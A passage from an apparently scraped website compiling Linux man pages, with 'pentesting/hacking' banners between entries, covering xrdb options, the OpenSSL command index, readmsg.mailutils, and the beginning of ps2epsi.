the CLIENTHOST hostname string turned into a legal identifier. For example, “expo.lcs.mit.edu” becomes CLNT_expo_lcs_mit_edu.

RELEASE=num
the vendor release number for the server. The interpretation of this number will vary depending on VENDOR.

REVISION=num
the X protocol minor version supported by this server (currently 0).

VERSION=num
the X protocol major version supported by this server (should always be 11).

VENDOR="vendor"****
a string literal specifying the vendor of the server.

VNDR_name
the VENDOR name string turned into a legal identifier. For example, “MIT X Consortium” becomes VNDR_MIT_X_Consortium.

EXT_name
A symbol is defined for each protocol extension supported by the server. Each extension string name is turned into a legal identifier. For example, “X3D-PEX” becomes EXT_X3D_PEX.

NUM_SCREENS=num
the total number of screens.

SCREEN_NUM=num
the number of the current screen (from zero).

BITS_PER_RGB=num
the number of significant bits in an RGB color specification. This is the log base 2 of the number of distinct shades of each primary that the hardware can generate. Note that it usually is not related to PLANES.

CLASS=visualclass
one of StaticGray, GrayScale, StaticColor, PseudoColor, TrueColor, DirectColor. This is the visual class of the root window.

CLASS_visualclass=visualid
the visual class of the root window in a form you can #ifdef on. The value is the numeric id of the visual.

COLOR
defined only if CLASS is one of StaticColor, PseudoColor, TrueColor, or DirectColor.

CLASS_visualclass_depth=num
A symbol is defined for each visual supported for the screen. The symbol includes the class of the visual and its depth; the value is the numeric id of the visual. (If more than one visual has the same class and depth, the numeric id of the first one reported by the server is used.)

HEIGHT=num
the height of the root window in pixels.

WIDTH=num
the width of the root window in pixels.

PLANES=num
the number of bit planes (the depth) of the root window.

X_RESOLUTION=num
the x resolution of the screen in pixels per meter.

Y_RESOLUTION=num
the y resolution of the screen in pixels per meter.

SRVR_name**, CLNT_name, VNDR_name, and EXT_**name identifiers are formed by changing all characters other than letters and digits into underscores (_).

Lines that begin with an exclamation mark (!) are ignored and may be used as comments.

Note that since xrdb can read from standard input, it can be used to the change the contents of properties directly from a terminal or from a shell script.

OPTIONS

xrdb program accepts the following options:

-help
This option (or any unsupported option) will cause a brief description of the allowable options and parameters to be printed.

-version
This option will cause the xrdb version to be printed and the program to exit without performing any other operations.

-display display
This option specifies the X server to be used; see X(7). It also specifies the screen to use for the -screen option, and it specifies the screen from which preprocessor symbols are derived for the -global option.

-all
This option indicates that operation should be performed on the screen-independent resource property (RESOURCE_MANAGER), as well as the screen-specific property (SCREEN_RESOURCES) on every screen of the display. For example, when used in conjunction with -query**,** the contents of all properties are output. For -load**,** -override and -merge**,** the input file is processed once for each screen. The resources which occur in common in the output for every screen are collected, and these are applied as the screen-independent resources. The remaining resources are applied for each individual per-screen property. This the default mode of operation.

-global
This option indicates that the operation should only be performed on the screen-independent RESOURCE_MANAGER property.

-screen
This option indicates that the operation should only be performed on the SCREEN_RESOURCES property of the default screen of the display.

-screens
This option indicates that the operation should be performed on the SCREEN_RESOURCES property of each screen of the display. For -load**,** -override and -merge**, the input file is** processed for each screen.

-n
This option indicates that changes to the specified properties (when used with -load**,** -override or -merge**)** or to the resource file (when used with -edit**) should be shown on the** standard output, but should not be performed.

-quiet
This option indicates that warning about duplicate entries should not be displayed.

-cpp filename
This option specifies the pathname of the C preprocessor program to be used. Although xrdb was designed to use CPP, any program that acts as a filter and accepts the -D, -I, and -U options may be used.

-nocpp
This option indicates that xrdb should not run the input file through a preprocessor before loading it into properties.

-undef
This option is passed to the C preprocessor if used. It prevents it from predefining any system specific macros.

-E
This option indicates that any cpp command run and the output from it should be shown on standard output. If -nocpp was also specified, the input file will be shown as read. The specified changes will also be performed unless the -n option is also specified.

-symbols
This option indicates that the symbols that are defined for the preprocessor should be printed onto the standard output.

-query
This option indicates that the current contents of the specified properties should be printed onto the standard output. Note that since preprocessor commands in the input resource file are part of the input file, not part of the property, they won’t appear in the output from this option. The -edit option can be used to merge the contents of properties back into the input resource file without damaging preprocessor commands.

-get name
This option indicates that the current content of the property matching name should be printed onto the standard output.

-load
This option indicates that the input should be loaded as the new value of the specified properties, replacing whatever was there (i.e. the old contents are removed). This is the default action.

-override
This option indicates that the input should be added to, instead of replacing, the current contents of the specified properties. New entries override previous entries.

-merge
This option indicates that the input should be merged and lexicographically sorted with, instead of replacing, the current contents of the specified properties.

-remove
This option indicates that the specified properties should be removed from the server.

-retain
This option indicates that the server should be instructed not to reset if xrdb is the first client. This should never be necessary under normal conditions, since xdm and xinit always act as the first client.

-edit filename
This option indicates that the contents of the specified properties should be edited into the given file, replacing any values already listed there. This allows you to put changes that you have made to your defaults back into your resource file, preserving any comments or preprocessor lines.

-backup string
This option specifies a suffix to be appended to the filename used with -edit to generate a backup file.

-Dname[=value]
This option is passed through to the preprocessor and is used to define symbols for use with conditionals such as #ifdef.

-Uname
This option is passed through to the preprocessor and is used to remove any definitions of this symbol.

-Idirectory
This option is passed through to the preprocessor and is used to specify a directory to search for files that are referenced with #include.

FILES

Xrdb does not load any files on its own, but many desktop environments use xrdb to load ~/.Xresources files on session startup to initialize the resource database, as a generalized replacement for ~/.Xdefaults files.

SEE ALSO

X(7), appres(1), listres(1), Xlib Resource Manager documentation, Xt resource documentation

ENVIRONMENT

DISPLAY
to figure out which display to use.

BUGS

The default for no arguments should be to query, not to overwrite, so that it is consistent with other programs.

AUTHORS

Bob Scheifler, Phil Karlton, rewritten from the original by Jim Gettys

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

637 - Linux cli command macssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command macssl and provides detailed information about the command macssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the macssl.

NAME 🖥️ macssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

638 - Linux cli command opensslssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command opensslssl and provides detailed information about the command opensslssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the opensslssl.

NAME 🖥️ opensslssl 🖥️

OpenSSL command line program

SYNOPSIS

openssl command [ options … ] [ parameters … ]

openssl **no-**XXX [ options ]

openssl -help | -version

DESCRIPTION

OpenSSL is a cryptography toolkit implementing the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) network protocols and related cryptography standards required by them.

The openssl program is a command line program for using the various cryptography functions of OpenSSL’s crypto library from the shell. It can be used for

o Creation and management of private keys, public keys and parameters o Public key cryptographic operations o Creation of X.509 certificates, CSRs and CRLs o Calculation of Message Digests and Message Authentication Codes o Encryption and Decryption with Ciphers o SSL/TLS Client and Server Tests o Handling of S/MIME signed or encrypted mail o Timestamp requests, generation and verification

COMMAND SUMMARY

The openssl program provides a rich variety of commands (command in the “SYNOPSIS” above). Each command can have many options and argument parameters, shown above as options and parameters.

Detailed documentation and use cases for most standard subcommands are available (e.g., openssl-x509 (1)). The subcommand openssl-list (1) may be used to list subcommands.

The command **no-**XXX tests whether a command of the specified name is available. If no command named XXX exists, it returns 0 (success) and prints **no-**XXX; otherwise it returns 1 and prints XXX. In both cases, the output goes to stdout and nothing is printed to stderr. Additional command line arguments are always ignored. Since for each cipher there is a command of the same name, this provides an easy way for shell scripts to test for the availability of ciphers in the openssl program. (**no-**XXX is not able to detect pseudo-commands such as quit, list, or **no-**XXX itself.)

Configuration Option

Many commands use an external configuration file for some or all of their arguments and have a -config option to specify that file. The default name of the file is openssl.cnf in the default certificate storage area, which can be determined from the openssl-version (1) command using the -d or -a option. The environment variable OPENSSL_CONF can be used to specify a different file location or to disable loading a configuration (using the empty string).

Among others, the configuration file can be used to load modules and to specify parameters for generating certificates and random numbers. See config (5) for details.

Standard Commands

asn1parse
Parse an ASN.1 sequence.

ca
Certificate Authority (CA) Management.

ciphers
Cipher Suite Description Determination.

cms
CMS (Cryptographic Message Syntax) command.

crl
Certificate Revocation List (CRL) Management.

crl2pkcs7
CRL to PKCS#7 Conversion.

dgst
Message Digest calculation. MAC calculations are superseded by openssl-mac (1).

dhparam
Generation and Management of Diffie-Hellman Parameters. Superseded by openssl-genpkey (1) and openssl-pkeyparam (1).

dsa
DSA Data Management.

dsaparam
DSA Parameter Generation and Management. Superseded by openssl-genpkey (1) and openssl-pkeyparam (1).

ec
EC (Elliptic curve) key processing.

ecparam
EC parameter manipulation and generation.

enc
Encryption, decryption, and encoding.

engine
Engine (loadable module) information and manipulation.

errstr
Error Number to Error String Conversion.

fipsinstall
FIPS configuration installation.

gendsa
Generation of DSA Private Key from Parameters. Superseded by openssl-genpkey (1) and openssl-pkey (1).

genpkey
Generation of Private Key or Parameters.

genrsa
Generation of RSA Private Key. Superseded by openssl-genpkey (1).

help
Display information about a command’s options.

info
Display diverse information built into the OpenSSL libraries.

kdf
Key Derivation Functions.

list
List algorithms and features.

mac
Message Authentication Code Calculation.

nseq
Create or examine a Netscape certificate sequence.

ocsp
Online Certificate Status Protocol command.

passwd
Generation of hashed passwords.

pkcs12
PKCS#12 Data Management.

pkcs7
PKCS#7 Data Management.

pkcs8
PKCS#8 format private key conversion command.

pkey
Public and private key management.

pkeyparam
Public key algorithm parameter management.

pkeyutl
Public key algorithm cryptographic operation command.

prime
Compute prime numbers.

rand
Generate pseudo-random bytes.

rehash
Create symbolic links to certificate and CRL files named by the hash values.

req
PKCS#10 X.509 Certificate Signing Request (CSR) Management.

rsa
RSA key management.

rsautl
RSA command for signing, verification, encryption, and decryption. Superseded by openssl-pkeyutl (1).

s_client
This implements a generic SSL/TLS client which can establish a transparent connection to a remote server speaking SSL/TLS. It’s intended for testing purposes only and provides only rudimentary interface functionality but internally uses mostly all functionality of the OpenSSL ssl library.

s_server
This implements a generic SSL/TLS server which accepts connections from remote clients speaking SSL/TLS. It’s intended for testing purposes only and provides only rudimentary interface functionality but internally uses mostly all functionality of the OpenSSL ssl library. It provides both an own command line oriented protocol for testing SSL functions and a simple HTTP response facility to emulate an SSL/TLS-aware webserver.

s_time
SSL Connection Timer.

sess_id
SSL Session Data Management.

smime
S/MIME mail processing.

speed
Algorithm Speed Measurement.

spkac
SPKAC printing and generating command.

srp
Maintain SRP password file. This command is deprecated.

storeutl
Command to list and display certificates, keys, CRLs, etc.

ts
Time Stamping Authority command.

verify
X.509 Certificate Verification. See also the openssl-verification-options (1) manual page.

version
OpenSSL Version Information.

x509
X.509 Certificate Data Management.

Message Digest Commands

blake2b512
BLAKE2b-512 Digest

blake2s256
BLAKE2s-256 Digest

md2
MD2 Digest

md4
MD4 Digest

md5
MD5 Digest

mdc2
MDC2 Digest

rmd160
RMD-160 Digest

sha1
SHA-1 Digest

sha224
SHA-2 224 Digest

sha256
SHA-2 256 Digest

sha384
SHA-2 384 Digest

sha512
SHA-2 512 Digest

sha3-224
SHA-3 224 Digest

sha3-256
SHA-3 256 Digest

sha3-384
SHA-3 384 Digest

sha3-512
SHA-3 512 Digest

keccak-224
KECCAK 224 Digest

keccak-256
KECCAK 256 Digest

keccak-384
KECCAK 384 Digest

keccak-512
KECCAK 512 Digest

shake128
SHA-3 SHAKE128 Digest

shake256
SHA-3 SHAKE256 Digest

sm3
SM3 Digest

Encryption, Decryption, and Encoding Commands

The following aliases provide convenient access to the most used encodings and ciphers.

Depending on how OpenSSL was configured and built, not all ciphers listed here may be present. See openssl-enc (1) for more information.

aes128, aes-128-cbc, aes-128-cfb, aes-128-ctr, aes-128-ecb, aes-128-ofb
AES-128 Cipher

aes192, aes-192-cbc, aes-192-cfb, aes-192-ctr, aes-192-ecb, aes-192-ofb
AES-192 Cipher

aes256, aes-256-cbc, aes-256-cfb, aes-256-ctr, aes-256-ecb, aes-256-ofb
AES-256 Cipher

aria128, aria-128-cbc, aria-128-cfb, aria-128-ctr, aria-128-ecb, aria-128-ofb
Aria-128 Cipher

aria192, aria-192-cbc, aria-192-cfb, aria-192-ctr, aria-192-ecb, aria-192-ofb
Aria-192 Cipher

aria256, aria-256-cbc, aria-256-cfb, aria-256-ctr, aria-256-ecb, aria-256-ofb
Aria-256 Cipher

base64
Base64 Encoding

bf, bf-cbc, bf-cfb, bf-ecb, bf-ofb
Blowfish Cipher

camellia128, camellia-128-cbc, camellia-128-cfb, camellia-128-ctr, camellia-128-ecb, camellia-128-ofb
Camellia-128 Cipher

camellia192, camellia-192-cbc, camellia-192-cfb, camellia-192-ctr, camellia-192-ecb, camellia-192-ofb
Camellia-192 Cipher

camellia256, camellia-256-cbc, camellia-256-cfb, camellia-256-ctr, camellia-256-ecb, camellia-256-ofb
Camellia-256 Cipher

cast, cast-cbc
CAST Cipher

cast5-cbc, cast5-cfb, cast5-ecb, cast5-ofb
CAST5 Cipher

chacha20
Chacha20 Cipher

des, des-cbc, des-cfb, des-ecb, des-ede, des-ede-cbc, des-ede-cfb, des-ede-ofb, des-ofb
DES Cipher

des3, desx, des-ede3, des-ede3-cbc, des-ede3-cfb, des-ede3-ofb
Triple-DES Cipher

idea, idea-cbc, idea-cfb, idea-ecb, idea-ofb
IDEA Cipher

rc2, rc2-cbc, rc2-cfb, rc2-ecb, rc2-ofb
RC2 Cipher

rc4
RC4 Cipher

rc5, rc5-cbc, rc5-cfb, rc5-ecb, rc5-ofb
RC5 Cipher

seed, seed-cbc, seed-cfb, seed-ecb, seed-ofb
SEED Cipher

sm4, sm4-cbc, sm4-cfb, sm4-ctr, sm4-ecb, sm4-ofb
SM4 Cipher

OPTIONS

Details of which options are available depend on the specific command. This section describes some common options with common behavior.

Program Options

These options can be specified without a command specified to get help or version information.

-help
Provides a terse summary of all options. For more detailed information, each command supports a -help option. Accepts –help as well.

-version
Provides a terse summary of the openssl program version. For more detailed information see openssl-version (1). Accepts –version as well.

Common Options

-help
If an option takes an argument, the “type” of argument is also given.


This terminates the list of options. It is mostly useful if any filename parameters start with a minus sign: openssl verify [flags…] – -cert1.pem…

Format Options

See openssl-format-options (1) for manual page.

Pass Phrase Options

See the openssl-passphrase-options (1) manual page.

Random State Options

Prior to OpenSSL 1.1.1, it was common for applications to store information about the state of the random-number generator in a file that was loaded at startup and rewritten upon exit. On modern operating systems, this is generally no longer necessary as OpenSSL will seed itself from a trusted entropy source provided by the operating system. These flags are still supported for special platforms or circumstances that might require them.

It is generally an error to use the same seed file more than once and every use of -rand should be paired with -writerand.

-rand files
A file or files containing random data used to seed the random number generator. Multiple files can be specified separated by an OS-dependent character. The separator is ; for MS-Windows, , for OpenVMS, and : for all others. Another way to specify multiple files is to repeat this flag with different filenames.

-writerand file
Writes the seed data to the specified file upon exit. This file can be used in a subsequent command invocation.

Certificate Verification Options

See the openssl-verification-options (1) manual page.

Name Format Options

See the openssl-namedisplay-options (1) manual page.

TLS Version Options

Several commands use SSL, TLS, or DTLS. By default, the commands use TLS and clients will offer the lowest and highest protocol version they support, and servers will pick the highest version that the client offers that is also supported by the server.

The options below can be used to limit which protocol versions are used, and whether TCP (SSL and TLS) or UDP (DTLS) is used. Note that not all protocols and flags may be available, depending on how OpenSSL was built.

-ssl3, -tls1, -tls1_1, -tls1_2, -tls1_3, -no_ssl3, -no_tls1, -no_tls1_1, -no_tls1_2, -no_tls1_3
These options require or disable the use of the specified SSL or TLS protocols. When a specific TLS version is required, only that version will be offered or accepted. Only one specific protocol can be given and it cannot be combined with any of the no_ options. The no_* options do not work with s_time and ciphers commands but work with s_client and s_server commands.

-dtls, -dtls1, -dtls1_2
These options specify to use DTLS instead of TLS. With -dtls, clients will negotiate any supported DTLS protocol version. Use the -dtls1 or -dtls1_2 options to support only DTLS1.0 or DTLS1.2, respectively.

Engine Options

-engine id
Load the engine identified by id and use all the methods it implements (algorithms, key storage, etc.), unless specified otherwise in the command-specific documentation or it is configured to do so, as described in “Engine Configuration” in config (5). The engine will be used for key ids specified with -key and similar options when an option like -keyform engine is given. A special case is the loader_attic engine, which is meant just for internal OpenSSL testing purposes and supports loading keys, parameters, certificates, and CRLs from files. When this engine is used, files with such credentials are read via this engine. Using the file: schema is optional; a plain file (path) name will do.

Options specifying keys, like -key and similar, can use the generic OpenSSL engine key loading URI scheme org.openssl.engine: to retrieve private keys and public keys. The URI syntax is as follows, in simplified form:

org.openssl.engine:{engineid}:{keyid}

Where {engineid} is the identity/name of the engine, and {keyid} is a key identifier that’s acceptable by that engine. For example, when using an engine that interfaces against a PKCS#11 implementation, the generic key URI would be something like this (this happens to be an example for the PKCS#11 engine that’s part of OpenSC):

-key org.openssl.engine:pkcs11:label_some-private-key

As a third possibility, for engines and providers that have implemented their own OSSL_STORE_LOADER (3), org.openssl.engine: should not be necessary. For a PKCS#11 implementation that has implemented such a loader, the PKCS#11 URI as defined in RFC 7512 should be possible to use directly:

-key pkcs11:object=some-private-key;pin-value=1234

Provider Options

-provider name
Load and initialize the provider identified by name. The name can be also a path to the provider module. In that case the provider name will be the specified path and not just the provider module name. Interpretation of relative paths is platform specific. The configured “MODULESDIR” path, OPENSSL_MODULES environment variable, or the path specified by -provider-path is prepended to relative paths. See provider (7) for a more detailed description.

-provider-path path
Specifies the search path that is to be used for looking for providers. Equivalently, the OPENSSL_MODULES environment variable may be set.

-propquery propq
Specifies the property query clause to be used when fetching algorithms from the loaded providers. See property (7) for a more detailed description.

ENVIRONMENT

The OpenSSL library can be take some configuration parameters from the environment. Some of these variables are listed below. For information about specific commands, see openssl-engine (1), openssl-rehash (1), and tsget (1).

For information about the use of environment variables in configuration, see “ENVIRONMENT” in config (5).

For information about querying or specifying CPU architecture flags, see OPENSSL_ia32cap (3), and OPENSSL_s390xcap (3).

For information about all environment variables used by the OpenSSL libraries, see openssl-env (7).

OPENSSL_TRACE=name[,…]
Enable tracing output of OpenSSL library, by name. This output will only make sense if you know OpenSSL internals well. Also, it might not give you any output at all if OpenSSL was built without tracing support. The value is a comma separated list of names, with the following available:

TRACE
Traces the OpenSSL trace API itself.

INIT
Traces OpenSSL library initialization and cleanup.

TLS
Traces the TLS/SSL protocol.

TLS_CIPHER
Traces the ciphers used by the TLS/SSL protocol.

CONF
Show details about provider and engine configuration.

ENGINE_TABLE
The function that is used by RSA, DSA (etc) code to select registered ENGINEs, cache defaults and functional references (etc), will generate debugging summaries.

ENGINE_REF_COUNT
Reference counts in the ENGINE structure will be monitored with a line of generated for each change.

PKCS5V2
Traces PKCS#5 v2 key generation.

PKCS12_KEYGEN
Traces PKCS#12 key generation.

PKCS12_DECRYPT
Traces PKCS#12 decryption.

X509V3_POLICY
Generates the complete policy tree at various points during X.509 v3 policy evaluation.

BN_CTX
Traces BIGNUM context operations.

CMP
Traces CMP client and server activity.

STORE
Traces STORE operations.

DECODER
Traces decoder operations.

ENCODER
Traces encoder operations.

REF_COUNT
Traces decrementing certain ASN.1 structure references.

HTTP
Traces the HTTP client and server, such as messages being sent and received.

SEE ALSO

openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-kdf (1), openssl-list (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1), config (5), crypto (7), openssl-env (7). ssl (7), x509v3_config (5)

HISTORY

The list -XXX**-algorithms** options were added in OpenSSL 1.0.0; For notes on the availability of other commands, see their individual manual pages.

The -issuer_checks option is deprecated as of OpenSSL 1.1.0 and is silently ignored.

The -xcertform and -xkeyform options are obsolete since OpenSSL 3.0 and have no effect.

The interactive mode, which could be invoked by running openssl with no further arguments, was removed in OpenSSL 3.0, and running that program with no arguments is now equivalent to openssl help.

COPYRIGHT

Copyright 2000-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

639 - Linux cli command readmsg.mailutils

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command readmsg.mailutils and provides detailed information about the command readmsg.mailutils, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the readmsg.mailutils.

NAME 🖥️ readmsg.mailutils 🖥️

print messages.

SYNOPSIS

readmsg.mailutils [OPTION…]

DESCRIPTION

GNU readmsg print messages.

-a, –[no-]show-all-match
print all messages matching pattern, not only the first

-d, –debug
display debugging information

-e, –exact
match exact string (default)

-f, –folder=FOLDER
folder to use

-g, –glob
match using globbing pattern

-h, –[no-]header
display entire headers

-i, –ignorecase
case-insensitive matching

-m, –[no-]mime
decode MIME messages on output

-n, –[no-]no-header
exclude all headers

-p, –[no-]form-feeds
output formfeeds between messages

-r, –regex
match using POSIX regular expressions

-w, –weedlist=LIST
list of header names separated by whitespace or commas

Global debugging settings

–debug-level=LEVEL
set Mailutils debugging level

–[no-]debug-line-info show source info with debugging messages

Configuration handling

–config-file=FILE
load this configuration file; implies –no-config

–config-lint
check configuration file syntax and exit

–config-verbose
verbosely log parsing of the configuration files

–no-config
do not load site and user configuration files

–no-site-config
do not load site-wide configuration file

–no-user-config
do not load user configuration file

–set=PARAM=VALUE
set configuration parameter

Informational options

–config-help
show configuration file summary

–show-config-options
show compilation options

-?, –help
give this help list

–usage
give a short usage message

-V, –version
print program version

Mandatory or optional arguments to long options are also mandatory or optional for any corresponding short options.

REPORTING BUGS

Report bugs to <[email protected]>.
GNU Mailutils home page: <http://mailutils.org>
General help using GNU software: <http://www.gnu.org/gethelp/>

COPYRIGHT

Copyright © 2007-2024 Free Software Foundation, inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The complete GNU mailutils documentation is maintained as a Texinfo manual. If the mailutils-doc package is installed, the command

info mailutils

should give you access to the complete manual.
You can also find this manual online in the GNU mailutils webpage:
https://www.gnu.org/software/mailutils/manual/index.html.
Please note this manpage was automatically generated by the Debian mailutils packagers. Do not file bugs for its content to the GNU Mailutils upstream authors.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

640 - Linux cli command ps2epsi

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ps2epsi and provides detailed information about the command ps2epsi, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ps2epsi.

NAME 🖥️ ps2epsi 🖥️

generate conforming Encapsulated PostScript

SYNOPSIS

ps2epsi infile.ps [ outfile.epsi ] (Unix)
ps2epsi infile.ps [ outfile.epi ] (DOS)

DESCRIPTION

ps2epsi uses gs(1) to process a PostScript(tm) file and generate as output a new file which conforms to Adobe’s Encapsulated PostScript Interchange (EPSI) format. EPSI is a special form of encapsulated PostScript (EPS) which adds to the beginning of the file in the form of PostScript comments a bitmapped version of the final displayed page. Programs which understand EPSI (usually word processors or DTP programs) can use this bitmap to give a preview version on screen of the PostScript. The displayed quality is often not very good (e.g., low resolution, no colours), but the final printed version uses the real PostScript, and thus has the normal PostScript quality.

USAGE

On Unix systems invoke ps2epsi like this:

ps2epsi infile.ps [ outfile.epsi ]

